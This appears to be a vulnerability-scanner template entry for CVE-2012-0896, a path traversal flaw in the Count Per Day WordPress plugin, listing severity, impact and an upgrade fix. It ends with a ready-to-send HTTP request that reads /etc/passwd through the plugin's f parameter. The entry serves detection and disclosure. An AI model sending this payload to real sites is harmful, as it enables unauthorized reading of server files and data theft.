| Title | Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further compromise of the system. |
| Remediation | Upgrade to a patched version of the Count Per Day plugin (version 3.2 or above) or apply the vendor-supplied patch to fix the path traversal vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.03691 |
| CVE ID | CVE-2012-0896 |
| CWE ID | CWE-22 |
| Tags | cve cve2012 packetstorm lfi wordpress wp-plugin traversal count_per_day_project vuln |
An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
GET /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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